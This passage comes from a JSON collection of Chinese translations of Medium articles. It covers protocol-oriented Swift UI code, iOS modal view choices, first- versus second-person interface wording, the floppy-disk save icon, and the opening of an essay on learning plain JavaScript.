`AlbumDetailsViewController`。此刻我们的协议能够依照协定找到一个合适字符串作为导航栏标题。这是因为在 `StringDisplay` 协议扩展中的定义，`UINavigationBar` 会在 iPad 上显示长的标题，而在 iPhone 上显示短标题。\n\n```swift\nclass AlbumDetailsViewController : UIViewController {\n    var album: Album!\n\n    override func viewWillAppear(animated: Bool) {\n        super.viewWillAppear(animated)\n\n        // Display the right string based on the nav bar width.\n        self.displayStringValue(self.album)\n    }\n}\n```\n\n我们可以将模型 models 中有关字符串格式化的代码全部集中转移到一个协议扩展里面，之后再根据具体的 UI 元素灵活显示。这种模式可以在将来的模型对象上重复使用，应用在各种 UI 元素上。此外这种协议具备良好的扩展性，还可以推广到更多非 UI 的场景。\n\n### 在样式中使用协议 (V)\n\n我们已经完成了用协议扩展对模型、格式化字符串的改造，现在让我们来看一个纯粹的前端示例，学习下协议扩展如何增强我们的UI开发\n\n我们可以将协议看做类似于 CSS 的东西，并且使用他们来定义我们 UIKit 对象的样式。通过部署这些样式协议，来自动更新显示外观。\n\n首先，我们将定义一个基础协议，用来表示一个应用样式的实体；声明一个方法，用于最终的应用样式。\n\n```swift\n// Any entity which supports protocol-based styling.\nprotocol Styled {\n    func updateStyles()\n}\n```\n\n接着我们将会创建一些子协议，这些协议会定义各种类型的样式。\n\n```swift\nprotocol BackgroundColor : Styled {\n    var color: UIColor { get }\n}\n\nprotocol FontWeight : Styled {\n    var size: CGFloat { get }\n    var bold: Bool { get }\n}\n```\n\n我们让这些子协议继承自 `Styled`，这样遵守这些子协议的对象就不用再显式调用了。\n\n现在我们可以将具体的样式分类，并使用协议扩展返回需要的值。\n\n```swift\nprotocol BackgroundColor_Purple : BackgroundColor {}\nextension BackgroundColor_Purple {\n    var color: UIColor { return UIColor.purpleColor() }\n}\n\nprotocol FontWeight_H1 : FontWeight {}\nextension FontWeight_H1 {\n    var size: CGFloat { return 24.0 }\n    var bold: Bool { return true }\n}\n```\n\n剩下的事情就是基于具体的 UIKit 元素类型，实现 `updateStyles` 方法。我们将使用指定类型的扩展让所有的 `UITableViewCell` 实例都遵从 `Styled` 协议\n\n```swift\nextension UITableViewCell : Styled {\n    func updateStyles() {\n        if let s = self as? BackgroundColor {\n            self.backgroundColor = s.color\n            self.textLabel?.textColor = .whiteColor()\n        }\n\n        if let s = self as? FontWeight {\n            self.textLabel?.font = (s.bold) ? UIFont.boldSystemFontOfSize(s.size) : UIFont.systemFontOfSize(s.size)\n        }\n    }\n}\n```\n\n为了确保 `updateStyles` 会被自动调用，我们将在扩展中重载 `awakeFromNib` 方法。有些童鞋可能会好奇，这种重载操作实际是插入到继承链中，就如同扩展是 `UITableViewCell` 自身的直接子类。在 `UITableViewCell` 的子类中调用 `super`，之后就可以直接调用 `updateStyles` 了。\n\n```swift\npublic override func awakeFromNib() {\n        super.awakeFromNib()\n        self.updateStyles()\n    }\n}\n```\n\n现在我们创建了自己的 cell，接下来就可以部署我们需要的样式了\n\n```swift\nclass PurpleHeaderCell : UITableViewCell, BackgroundColor_Purple, FontWeight_H1 {}\n```\n\n我们已经在 UIKit 元素上创建了类似于 CSS 样式风格的声明。使用协议扩展，我们甚至可以为 UIKit 山寨一个 Bootstrap 样式。这种方式可以在很多场景下都能增强我们的开发体验，特别是在应用开发中，当拥有数量繁多的视觉元素，且样式高度动态时尤其有用。\n\n想象一下，一个 App 拥有 20 个以上不同的 view controllers，每个都遵守 2~3 个通用的视觉样式，比起强迫我们创建一个基类或使用一组数量持续增长的全局方法来定义样式，现在仅需要遵守一些样式协议，然后顺手实现就好。\n\n## 我们得到了什么？\n\n我们目前为止做了很多有趣的事情，那么通过使用协议和协议扩展我们最终得到了什么？可能有人觉得我们跟本没必要创建这么多协议。\n\n>面向协议编程并不完美匹配所有基于 UI 的场景。\n\n当我们需要在应用中添加共享代码和通用的功能时，协议和协议扩展将变得非常有价值。并且代码的组织结构也更加清晰有条理。\n\n随着数据类型的增多，协议就越能发挥其用武之地。特别是当 UI 需要显示多种格式的信息时，使用协议会让我们身轻如燕。但是这并不意味着我们需要添加六个协议和一大堆扩展，只是为了让一个紫色的单元格显示一个艺术家的名字。\n\n让我们扩充鸭梨音乐场景，来见识一下「面向协议编程」真正的价值所在。\n\n## 添加复杂度\n\n我们已经在 Pear Music 上下了很大功夫，现在拥有界面美观的专辑列表、艺术家、歌曲和播放列表，我们还使用了美妙的协议和协议扩展来优化 MVC 的原有结构。现在鸭梨公司 CEO 要求我们构建鸭梨音乐 2.0 的版本，希望可以和 Apple Music 一争高下。\n\n我们需要一项酷炫的新特性来脱颖而出，经过头脑风暴后，我们决定添加：「长按预览」这个新特性。听上去是个大胆的创意，我们的 Jony Ive（黑的漂亮）似乎已经在摄像机前娓娓而谈了。让我们使用面向协议编程配合 UIKit 来完成任务。\n\n### 创建 Modal Page\n\n下面来阐述下新特性的工作原理，当用户**长按**艺术家、专辑、歌曲或播放列表时，一个模态视图会以动画的形式出现在屏幕上，展示从网络载入的条目图像，以及描述信息和一个 Facebook 分享按钮。\n\n我们先来构建一个 `UIViewController`，用做用户长按手势后的模态展示的 VC。从一开始我们就能让初始化方法更加通用，传入的参数仅需遵守 `StringRepresentable` 和 `MediaResource` 即可。\n\n```swift\nclass PreviewController: UIViewController {\n    @IBOutlet weak var descriptionLabel: UILabel!\n    @IBOutlet weak var imageView: UIImageView!\n\n    // The main model object which we're displaying\n    var modelObject: protocol<stringrepresentable>!\n\n    init(previewObject: protocol<stringrepresentable>) {\n        self.modelObject = previewObject\n\n        super.init(nibName: \"PreviewController\", bundle: NSBundle.mainBundle())\n    }\n}\n```\n\n下一步，我们可以使用内建的协议扩展方法分配数据给我们的 `descriptionLabel` 和 `imageView`\n\n```swift\noverride func viewDidLoad() {\n        super.viewDidLoad()\n\n        // Apply string representations to our label. Will use the string which fits into our descLabel.\n        self.descriptionLabel.displayStringValue(self.modelObject)\n\n        // Load MediaResource image from the network if needed\n        if self.modelObject.imageValue == nil {\n            self.modelObject.loadMedia { () -> () in\n                self.imageView.image = self.modelObject.imageValue\n            }\n        } else {\n            self.imageView.image = self.modelObject.imageValue\n        }\n    }\n```\n\n最后，我们可以使用相同的方法来从 Facebook 函数获取元数据\n\n```swift\n// Called when tapping the Facebook share button.\n    @IBAction func tapShareButton(sender: UIButton) {\n        if SLComposeViewController.isAvailableForServiceType(SLServiceTypeFacebook) {\n            let vc = SLComposeViewController(forServiceType: SLServiceTypeFacebook)\n\n            // Use StringRepresentable.shortString in the title\n            let post = String(format: \"Check out %@ on Pear Music 2.0!\", self.modelObject.shortString)\n            vc.setInitialText(post)\n\n            // Use the MediaResource url to link to\n            let url = String(self.modelObject.mediaURL)\n            vc.addURL(NSURL(string: url))\n\n            // Add the entity's image\n            vc.addImage(self.modelObject.imageValue!);\n\n            self.presentViewController(vc, animated: true, completion: nil)\n        }\n    }\n}\n```\n\n我们已经收获了许多协议，没有他们，我们或许要在 `PreviewController` 中根据不同的类型，分别创建初始化方法。通过协议的方式，不仅保持了 view controller 的绝对简洁，还保证了其在未来的可扩展性。\n\n最后只剩一个轻量级的、清爽的 `PreviewController`，可以接受一个 `Artist`, `Album`, `Song`, `Playlist` 或任意匹配了我们协议的 **model**。`PreviewController` 没有一行关于特定模型的代码。\n\n### 集成第三方代码\n\n当我们使用协议和协议扩展构建 `PreviewController` 时，这里还有最后一个特别棒的应用场景。我们融入了一个新的框架，该框架在我们的 App 中可以用来载入音乐家的 Twitter 信息。我们想要在主页面显示 tweets 列表，通常会指定一个 model 对象对应一条 tweet：\n\n```swift\nclass TweetObject {\n    var favorite_count: Int!\n    var retweet_count: Int!\n    var text: String!\n    var user_name: String!\n    var profile_image_id: String!\n}\n```\n\n我们并不拥有此代码，也不能修改 `TweetObject`，但我们仍然想要用户通过长按手势，在`PreviewController` UI 上来预览这些 tweets。而我们所要做的就是扩展这些现有协议。\n\n```swift\nextension TweetObject : StringRepresentable, MediaResource {\n    // MARK: - MediaResource\n    var mediaHost: String { return \"api.twitter.com\" }\n    var mediaPath: String { return String(format: \"/images/%@\", self.profile_image_id) }\n\n    // MARK: - StringRepresentable\n    var shortString: String { return self.user_name }\n    var mediumString: String { return String(format: \"%@ (%d Retweets)\", self.user_name, self.retweet_count) }\n    var longString: String { return String(format: \"%@ Wrote: %@\", self.user_name, self.text) }\n}\n```\n\n现在我们可以传递一个 `TweetObject` 到我们的 `PreviewController` 中，对于 `PreviewController` 来讲，他甚至不知道我们正在工作的外部框架\n\n```swift\nlet tweet = TweetObject()\nlet vc = PreviewController(previewObject: tweet)\n```\n\n## 课程总结\n\n在 WWDC 2015 的开发者大会上，苹果官方推荐使用协议来替代类，但是我认为这条规则忽视了协议扩展工作在某些重型框架（UIKit）下的局限性。只有当协议扩展被广泛使用，而且不需要考虑遗产代码时，才能发挥他的威力。虽然最初的例子看上去较为琐碎，但随时间的增长，应用的尺寸和复杂度都会成倍增长，这种通用设计就会变得格外有效。\n\n这是一个代码解释性的成本收益问题。在一个的 UI 占大头的大型应用中，协议 & 扩展并不那么实用。如果你有一个单独的页面只展示一种类型的信息（今后也不会改变），那么就不要考虑用协议来实现了。但是如果你的应用界面在不同的视觉样式、表现风格间游走，那么将协议和协议扩展作为连接数据和外观之间的桥梁是极其有用的，你会在未来的开发中受益匪浅。\n\n最后，我并不是想把协议看成一种银弹，而是将其看做是在某些开发场景中的一把利器。尽管如此，面向协议编程都是值得开发者们学习的--只有你真正按照协议的方式，重新审视、重构之前的代码，才能体会其中的精妙之处。\n\n如果你有任何问题，或想了解更多的细节，请务必联系我 [email](mailto:ttillage@captechconsulting.com) ，这是我的 [Twitter](https://twitter.com/ttillage)！\n"
  },
  {
    "path": "TODO/ios-custom-modality.md",
    "content": "> * 原文地址：[iOS: Custom Modality](https://medium.com/@_kolodziejczyk/ios-custom-modality-a193c293d4d6#.b2d4uj1bt)\n* 原文作者：[Kamil Kołodziejczyk](https://twitter.com/_kolodziejczyk)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[zhouzihanntu](https://github.com/zhouzihanntu)\n* 校对者：[Gocy](https://github.com/Gocy015)、[Mark](https://github.com/marcmoore)\n\n---\n\n# iOS: 自定义 Modal 视图\n\n## Modal 视图越来越多样化，连 Apple 官方人机交互指南都没法三言两语解释清楚。我们又该如何从海量的选择中作出决定呢？\n\n![](https://cdn-images-1.medium.com/max/2000/1*LPXhF6DNBVu8qz4P-sHZTA.png)\n\n当开发者们询问我如何选择视图类型时，我是震惊的。我不得不反复地思考这个问题以及我会选择的解决方案。有趣的是，当发现对视图的选择往往与美学无关时，他们常常会感到惊讶。\n\n我推荐大家去看**iOS 人机交互设计指南**里关于 [Modal 视图](https://developer.apple.com/ios/human-interface-guidelines/interaction/modality/) 的介绍，这是关于 modal 话题的很棒的参考资料。但最近有个朋友和我说，这篇文章的内容还不能满足他的要求。\n\n出于好奇，我查询了各种现有的样式，来看看究竟有多少不同的种类。他是对的，这篇文章的内容确实不够完整。\n\n那么哪种 modal 才是最好的选择呢？我列了一个清单，也许对你做决定有帮助。下面就来看看吧。\n\n### 类型\n\nModal 是一种使用户从当前工作流中转换到另一个界面，去做一些选择或完成某些任务的视图。当我们需要用户保持注意时它们是最好的工具。\n\n> 与导航控制器这种注重内容和视图层级的视图不同，modal 总是为了某项特定任务而存在。\n\n现在有很多类型的 modal ，它们可能覆盖整个屏幕或屏幕的一部分，也可能显示在屏幕中央或固定在屏幕顶部或底部。有时它们以弹出框的方式出现，有时又从一侧滑出。 **这的确令人困惑。**\n\n在做决定之前你需要考虑一些事。我的经验是先确定视图是让人们**选择**一项任务还是**完成**一项任务。\n\n### **选择器类**\n\n这类 modal 要求你做出一个选择后才能继续操作。它可以是一个警告，或者一个让你指定你下一步操作或选择模式的对话框。\n\n![](https://cdn-images-1.medium.com/max/800/1*llj4coNsU1kwsUIdBgeNAA.png)\n\n- **操作列表** 是显示多个操作选项的最好方式。如果你除了列表没有太多额外需要展示的东西的话，这是个安全的选择。\n- **弹出框** 可以应用在之前视图的上下文比较重要的场景，弹出框的箭头在解释视图之间的关系上发挥了很好的作用。\n- 如果你要提问或者从用户处获取权限， 最好使用**警告框**。\n\n你可能注意到了以上介绍的视图都没有覆盖到整个屏幕，因为他们应该被**快速使用**，用户选择完就立刻回到之前的界面。\n\n### **操作类**\n\n这类 modal 是为了完成功能任务的，它们适用于添加、编辑等所有复杂的任务场景。\n\n**全屏视图**\n\n![](https://cdn-images-1.medium.com/max/800/1*xu_NhNyGVRNfMl2a0ztL_Q.png)\n\n全屏视图是最常见的 modal 。通过覆盖整个屏幕来引起用户的充分注意，为可能包含多个步骤的复杂任务而设计。\n\n一般情况下，使用全屏视图需要遵守以下两点:\n\n- 完成性操作 (**完成**/**保存**/**关闭**) 总在视图右上角\n- 取消性操作 (**取消**) 应该在视图左上角\n\n**非全屏视图**\n\n有的时候你可能会有一些功能影响到部分主视图，在这种情况下最好让主视图作为背景显示。 这样人们就会立刻明白这个 modal 的作用。\n\n![](https://cdn-images-1.medium.com/max/800/1*i4OTZP-ESmIxde2sELE1SA.png)\n\n如果你选择使用非全屏视图的话， 你还要额外考虑两件事:\n\n- **选择合适的过渡方式** 如果一个视图和屏幕上方的内容相关，那就让 modal 从那里滑出。让 modal 以用户可预见的方式出现会令应用的使用体验加分。\n\n- **添加手势关闭操作** 当 modal 以动画形式出现时，人们通常会用与动画过程相反的手势去关闭它(**例如: 把放大的视图缩小**)。对这一操作的支持会让这个应用使用起来更加和谐。\n\n还有一种比较特殊的情况。有时候有些功能可能涉及之前视图的某个部分，这时候也同样可以使用弹窗方式实现。\n\n---\n\nModal 是个非常有用的工具。刚开始接触可能会比较难理解，但是只要你在你的 app 上实践过，再用起来就会快速和简单很多。\n\n如果你还是决定不了选择哪种 modal ，我准备了一个流程图，你可以把它当做快速参考。\n\n![](https://cdn-images-1.medium.com/max/1000/1*xmvX16jk_E5mxxYDPnAt9Q.png)\n\n希望对你有帮助!\n"
  },
  {
    "path": "TODO/is-this-my-interface-or-yours.md",
    "content": "> * 原文地址：[Is this my interface or yours?](https://medium.com/@jsaito/is-this-my-interface-or-yours-b09a7a795256?ref=uxdesignweekly#.8o975gug5)\n* 原文作者：[John Saito](https://medium.com/@jsaito)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[siegeout](https://github.com/siegeout),[rottenpen](https://github.com/rottenpen) \n\n# 该叫「我的电脑」还是「你的电脑」？\n\n![](http://ac-Myg6wSTV.clouddn.com/e7eaa2962041cea90b7d.png)\n\n### “我的电脑”的变化历程\n\n还记得以前使用 Windows 系统时**我的电脑**的图标吗？这个经典的小图标表示你在这台电脑上拥有的所有文件，所有的项目、工作资料以及各种数据等等。\n\n而微软将最新 Windows 系统中的这个图标更名为**”电脑“（Computer）**，然后又将之改成**”本机“（This PC）**。这样的修改是否因为“我的”这个用法给人带来了理解的误导、语义的不协调或者是根本没有必要存在？\n\n![](http://ac-Myg6wSTV.clouddn.com/9f40f8dab57be150e24d.png)\n\n这样小小的修改使我思考这样一个问题：为什么在称呼用户所属数据信息的时候，有些产品使用**第一人称**用法，而有些产品使用**第二人称**用法？\n\n### 你如何称呼自己的数据信息？\n\n打开不同的 App ，发现在用户界面里提及到称呼用户所属的数据信息时，并没有一个统一的用法，有些称之为**“我的”第一人称**用法，有些称之为**“你的”第二人称**用法。\n\n![](http://ac-Myg6wSTV.clouddn.com/84f0c5fff22419f007be.png)\n        \nYouTube 和 Google 硬盘使用第一人称用法，而 Spotify 和亚马逊则用第二人称用法。\n    \n那当你在做设计考虑到这个问题的时候，是该基于用户的立场还是基于产品的立场呢？我认为两者有细微的区别，如何使用都取决于你打算让用户在使用产品时得到什么样的体验。\n\n### 第一人称用法\n\n当你在界面上使用第一人称时，这就暗示着产品是用户的延展。就好像这个产品是用户行为的一部分。第一人称用法更为私人，就像用户可以自定义，自由掌控的感觉。\n\n但通常来说，第一人称用法更适合那些强调隐私化、个人化以及拥有感的产品。也许这就是**”我的电脑“**这个称呼使用多年的原因。在过去，电脑是用户独自使用的，通常不会共享文件，用户所有的私人资料都十分安全的保存在这个小小图标里。\n\n![](http://ac-Myg6wSTV.clouddn.com/5691db77eef2145c2945.png)\n       \n我的，全是我的！\n\n### 第二人称用法\n\n而在界面上使用第二人称，这暗示着产品在跟用户交流。就好像产品是用户的私人助手，帮助完成任务一样。“这是您想听的音乐，这是您的命令。”\n\n但是通常来说，第二人称更适合那些希望给用户带来悉心指导的产品，可以指引帮助用户完成任务。是不是该交账单了?该赴约了？该填写税单表格了？许多产品都在帮助用户更高效、更聪明、更简单地完成任务。\n\n现在许多产品还会以私人助手的身份与你交流。他们还有自己的名字，比如 Siri、Alexa 和 Cortana。他们帮你记备忘、提醒你买牛奶甚至大声帮你念出邮件的内容。\n\n![](http://ac-Myg6wSTV.clouddn.com/184c47d0c20f90331d4d.png)\n       \n嘿，Siri，你能帮我换宝宝的尿布吗？\n\n许多其他的 App，包括 Medium，会推荐给你许多精选的内容。在我看来，就好像一个私人助手双手抵上今天精心挑选的故事供我阅读一样。我认为未来这个范围将会变得越来越广，我们也将会看到越来越多的产品使用第一人称用法。\n\n### 不使用以上两者的用法\n\n正如设计的其他方面一样，这里没有一劳永逸的解决办法。但是还有一种设计方案，就是现在许多产品会在称呼属于用户的数据信息的时候，都会省去“我的”或“你的”。\n\n![](http://ac-Myg6wSTV.clouddn.com/89120ffe78da8e1218fb.png)\n       \n这里没有使用第一人称或者第二人称。\n\n也许把“我的”给去掉的原因，就跟 Windows 把**“我的电脑”**改为**“电脑”**一样。\n\n但很可惜，不使用第一第二人称并不是100%适用于所以的设计。有时候确实需要将用户的内容和其他的内容作出区分。例如 YouTube，你不能只是称之为“频道”，因为这样就不指导这是用户自己的频道，还是订阅的频道，还是 YouTube推荐的频道。\n\n![](http://ac-Myg6wSTV.clouddn.com/a5df4efc05ea9c479222.png)\n        \n所以在这个情况下，只将其称为“频道”是不合理的。\n\n也许，这也是 Windows 将**“电脑（Computer）”**改为**“本机（This PC）”**的原因吧。因为单单称之为**“电脑”**很容易造成误解，所以需要明确这里指的是**“本机”**。\n\n### 举一反三\n\n直到现在，我们主要讨论的都是界面上属于用户的数据信息该如何称呼。但这只是用户在使用产品时遇到的文案中很小一部分内容。那按钮名称、指示语还有设置页面等其他情况该怎么做呢？\n\n对此众说纷纭，而以下是我认为比较适用的设计指南：\n\n- **什么时候使用*第一人称*：**在用户进行操作的时候，比如点击按钮或者勾选复选框的时候，只有当你觉得必须要清晰地说明关系的时候才可使用。\n- **什么时候使用*第二人称*：**当产品向用户提问、指导或者描述事情的时候应该使用第二人称。就想象一下一个私人助手应该会怎么说。\n\n![](http://ac-Myg6wSTV.clouddn.com/419a7460534cb2ace4d2.png)\n\n### 使用“我们的”用法\n\n在文章结束之前，我必须要说一个很常见的用法。有些产品喜欢在界面上使用“我们的”、“我们”。\n\n![](http://ac-Myg6wSTV.clouddn.com/27b1ab1405835f5bdc9e.png)\n   \n美国大通银行的主页上\n\n使用了“我们”和“我们的”，这确实增加了第三方参与者的概念————那些在产品背后的工作人员。这表明有真实的人类在为用户工作，而不只是一些冰冷的机器。\n\n如果你的产品是在向用户带来人工服务，比如烹饪、设计或者清洁服务，使用“我们”的说法更具有人情味。“我们将会为您提供帮助”，“请使用我们的服务”。让用户知道在这些冰冷的屏幕背后，有真实的人在服务，将让用户感到更踏实。\n\n另一方面，如果你的产品跟谷歌搜索一样是一个自动化的产品，“我们的”用法将会误导用户，因为搜索引擎背后并没有实实在在的服务人员。事实上，谷歌的界面规范手册上也提及他们大部分产品都不会出现“我们的”字样。\n\n### 那么你的观点呢？\n\n我之所以写这篇文章，是因为我看到这个问题无数次被设计师、程序员及其他作者提起讨论。为什么这里我们要用第一人称？而那里又用第二人称？但至今为止，我没有看到几篇文章把这件事讲清楚。\n\n对此你是否有自己的见解？我很乐意听到你的声音。\n\n![](http://ac-Myg6wSTV.clouddn.com/1a1ff00440e74f4a5fa7.jpeg)\n"
  },
  {
    "path": "TODO/is-this-the-perfect-save-icon.md",
    "content": ">* 原文链接 : [Is this the perfect save icon?](https://medium.com/@etchuk/is-this-the-perfect-save-icon-9651129bda85#.4jwcx3q5m)\n* 原文作者 : [Etch](https://medium.com/@etchuk)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [vlux](https://github.com/vlux)\n* 校对者: [lekenny](https://github.com/lekenny) / [mdluo](https://github.com/mdluo)\n\n![](https://cdn-images-1.medium.com/max/1200/1*koe64usSwmwA485C8rPMzQ.jpeg)\n\n## 寻找最完美的“保存”图标\n上周在 Etch 公司，我的朋友兼同事 [**Matt Jackson**](https://twitter.com/Jacky_Vee_) 问了我一个简单的问题：\n\n> 如今用软盘作为“保存”图标依然合适吗？\n\n这一问题近年来被人们反复提起，在好奇心驱使下我们开始找寻更好的解答。\n\n根据一项 2013 年的调查：1000 名来自幼儿园到五年级的孩子们被问及关于图解的问题，结果呈现一个很有趣的现象：只有 14% 的孩子知道“保存”图标代表着什么。\n\n![](https://cdn-images-1.medium.com/max/800/1*AGarz-ZbYsJgC3B4YqV1Jg.png)\n\n这是一项令人担忧的统计结果。用户界面的最终目的就是在人与机器之间建立一个双方都理解的信息输入输出连接。所以我们应该一直为那些能向用户传达意义的图标而努力。\n\n我们现在已经进入了一个主要用户群体是年轻人的时代。用户们很少、甚至没有用过软盘。鉴于这种情况，我们作为设计师能很确信地说我们用了最好的方式来传递“保存”这个概念？\n\n> 啥是“软盘”?!\n\n事实上，我对这件事想的越多，我们越疑惑有00后知道些关于硬盘的知识吗。甚至对于设备数据的读/写数据这一概念对他们来说都可能是“天外飞仙“。\n\n## 如何弥补这个问题？\n\n**“图标设计”的概念是:**\n\n设计一个图标的过程，它代表一些真实的，美轮美奂的或是抽象的动机，实体或是行为。在软件应用的背景下，一个图标通常代表一个程序，一个功能，一个数据或是电脑系统上的一组数据。\n\n\n**让我们再深入的了解下:**  \n_设计一个能反应真实情况的图标。_\n\n一个图标是一个想法或者概念的视觉传达。他们从一些行为比如声音，形态，感觉或者言语中获得灵感。\n\n这没什么问题，我十分同意这种说法，但是是这句话的后半部分引起了问题，“**真实情况**”。这是一个简单事儿，它是你眼前这个实物的字面意思。\n\n但是随着时间推移这些实物演变成一些彻彻底底不同的物体。对于“电话”的字面解释已经不再包含“旋转拨号盘”，“麦克风”和“听筒”这些字眼。我的意思是看一下这些所谓的_经典_图标。问问自己是否他们还像他们今天的样子？ \n\n![](https://cdn-images-1.medium.com/max/800/0*NTJOxf6bqJ0LP1UH.png)\n\n## 讲解下图标的演变 \n### 抽象概念\n\n在我们的“图标设计”的概念里另一部分提到“美轮美奂的或是抽象的动机，实体或是行为”。这句话真的很令我兴奋。但是这真的很难去实现，这也就是为什么大多数情况情况下我们选择更容易的方式并且只是让它具有字面意。\n\n我很喜欢依据感性和人对于一些事物自然的反应去设计图解。下面列出的是一些符号化动作而不是实体的例子。\n\n![](https://cdn-images-1.medium.com/max/800/0*_wRiCmXC-2gDW7NV.png)\n\n它们离“完美”还差得远但它绝对是一个拓展我们想象空间和创造力的好例子。我们的目标是创造一些永恒的并且有效的东西，或者我应该说 **_图标化_**\n\n一个优秀的事例是[**Google设计团队的作品**](https://www.youtube.com/watch?v=IYyRpZglZP4).\n\n![](https://cdn-images-1.medium.com/max/800/0*nzyx1xNHj8iNH6sN.gif)\n\n![](https://cdn-images-1.medium.com/max/800/0*oUX704mMfs3LGB0N.jpg)\n\n他们给这四个同样的小圆点带来了生机与意义的设计真的是令人称赞。并且每次符号化一个动作我们都可以立即分辨出来它所代表的意思。\n\n## 真棒，但新的“保存”图标到底在哪儿!? \n### 好吧，关于这个问题…\n\n事实情况是你可能真的不需要一个新的“保存”图标。就像我之前说过的，时代是变化的，现在谁还会从固件读写数据？\n\n亲爱的，现在都用“云”了。是的，我知道“云”是由巨大的数据中心组成，但是手动存储数据已经不再是让我们凌乱的事情了。\n\n现如今当我工作的时候我只需要知道：我有网络连接吗？我成功同步数据了吗？大大的对号！棒棒哒！我知道我随时从世界的任何一个角落通过任意一台设备都能访问到我同步的那份数据。\n\n通常对于这类的问题，我们喜欢用房屋设计咨询师[**Paul Davies**](https://twitter.com/thedesignpsych)传授的伟大智慧来说服我们自己。他的方法虽然简单，但确实是有效的。所以如果你确实需要“保存”某个东西：\n\n> 做一个按钮然后把“保存”两个字放上面！\n\n我一开始写这篇文章的时候觉得软盘作为一个图标太渣了，实话实话我现在觉得我当时反应有些过激了。\n\n**我来再回顾下那份调查:**  \n_只有14%的孩子知道“保存”图标代表着什么_\n\n14%？真的吗？呵呵，现在读来我认为的是100%的孩子知道这是一个“保存”图标，但是只有14%的孩子知道这个符号背后隐含的历史。所以说这个图标确保了用户和机器的交互了吗？我觉得应该说“是的”。\n\n让我们来这么看待这个问题，你们多少人知道USB符号的原型是海神尼普顿的三叉戟（那把强有力的Dreizack），蓝牙符号是两个代表Harald Blåtand首字母的如尼字母组合而来。Harald碰巧是蓝莓的忠实粉丝，所以据称他总是有一颗蓝色的牙齿。可能确实你们中有人知道这些典故。但是那些不知道典故的人并没有因此很困难的把手机用蓝牙连上车载音响或是使用USB设备。\n\n**问题的关键是，如果你真的需要一个图标，请确保它是简单、易辨识、始终如一的。**\n\n以后世人怎么认为这个软盘的图标我们无从知晓，可能那是一个你根本就不需要知道它是一个关于软盘的争论。你只需要知道摁下那个奇怪的四四方方的图标就代表着保存东西。对于那些没有使用过软盘的新一代，这个符号可能是一个奇怪的抽象的概念，但终究还是一个美轮美奂的事物吧。\n\n或许那也无所谓，或者这就已经是最完美的“保存”图标了。\n\n![](https://cdn-images-1.medium.com/max/800/0*MqZQiPMgmDTNGEnD.png)\n"
  },
  {
    "path": "TODO/is-vanilla-javascript-worth-learning-absolutely.md",
    "content": "\n  > * 原文地址：[Is Vanilla JavaScript worth learning? Absolutely.](https://medium.freecodecamp.org/is-vanilla-javascript-worth-learning-absolutely-c2c67140ac34)\n  > * 原文作者：[David Kopal](https://medium.freecodecamp.org/@codinglawyer)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/is-vanilla-javascript-worth-learning-absolutely.md](https://github.com/xitu/gold-miner/blob/master/TODO/is-vanilla-javascript-worth-learning-absolutely.md)\n  > * 译者：[lampui](https://github.com/lampui)\n  > * 校对者：[kyrieliu](https://github.com/KKKyrie)、[Calpa Liu](https://github.com/calpa)\n\n  # 原生 JavaScript 值得学习吗？答案是肯定的\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*E-94pGEukt8lDI2aDY3XcQ.jpeg)\n\n这篇文章的意图是要给每位前端开发者强调 JavaScript 的基本原理。原生（[Vanilla](https://en.wikipedia.org/wiki/Vanilla_software)）是指没有额外框架或库的 JavaScript。本文将会告诉你为什么应该对原生 JavaScript 有一个较好的认识。\n\n我也会提及一些帮助过我学习这些基本原理的资源。\n\n写这篇文章背后的另一个原因是许多有抱负的 web 开发者倾向于跳过 JavaScript 核心概念的学习，诸如提升、闭包或原型。他（她）们直接学习最热门的框架，例如 React 或 Angular 2。我会向你说明为什么这种方法不能称之为一条捷径。\n\n### 每个人都想要有 ${请填写热门的框架名字} 知识的开发者…\n\n那么，还有什么理由让你再费事去学习原生 JavaScript 吗？\n\n![](https://cdn-images-1.medium.com/max/1600/1*eTO0IHM6_MyCNIvBOLp7ag.jpeg)\n\n不了解一门语言本身的核心知识那是很难成为一名大神的，就像在你去一个有特定法律的领域之前，你需要先清楚法律的一些基本原则。[这个比喻](https://ideas.ataccama.com/i-stopped-being-a-lawyer-became-a-developer-and-its-awesome-5311e8d74882)真的很巧。😉\n\n我能理解大多数热血十足的 web 开发者想尽快地找到工作的心情。因为我也想。\n\n看起来去上一门 JavaScript 基础速成班、钻研一些框架、开发个 ToDo 列表（[let a puppy die](https://medium.freecodecamp.com/every-time-you-build-a-to-do-list-app-a-puppy-dies-505b54637a5d)）和上传到 GitHub，然后再开始找工作会简单些。\n\n### …但从长远来看，把时间投入到原生 JavaScript 的学习会更有收获\n\n别误会我，无论如何我都不是对 JavaScript 的各种框架有偏见。恰好相反，许多框架反而能让你书写出可读性和维护性更高的代码，这些框架还能让你写出比平时更容易调试的抽象代码。\n\n但 JavaScript 生态进化得非常快，新框架层出不穷，新功能不断地被添加到已有的功能上，最重要的是，眼下许多热门的框架迟早都会被替代，例如 Angular 1。\n\n在这样的环境下，你还认为具备某个 JavaScript 框架的知识对一名 web 开发者来说就足够了吗？\n\n还是去理解这门语言是如何在这些框架和库的背后运作好点？\n\n![](https://cdn-images-1.medium.com/max/1600/1*wQgXQXDwZe_3f1br1HcHcA.jpeg)\n\nYes, 你对了！当然是第二个选择。\n如果你有一个很扎实的 JavaScript 基础，当开始工作的时候唯一需要让自己熟悉的就是新框架的**语法**，在所有层次的抽象下，基本的规则还是一样的，它还是纯粹的 JavaScript。\n\n如果你的知识仅限于某个 JavaScript 框架，那你学习另一个新框架的时候会很艰难。不同的框架通常是基于不同的 JavaScript 原则。从长远来看，你会花跟多时间去理解不同的框架和调试你写的代码。\n\n所有的 JavaScript 框架和库都不可避免地基于原生 JavaScript。\n\n从长远来看，这应该能说服任何人掌握原生 JavaScript 是必须的。这是对任何一名成功开发者的必要条件，特别是对于一个主要工作在 JavaScript 生态下的开发者。\n\n![](https://cdn-images-1.medium.com/max/1600/1*UkL0I2o1GDdXGUMPecxY7g.jpeg)\n\n### 个人经验\n\n不久前，我回顾了自己是怎样从一名律师转变为一名 web 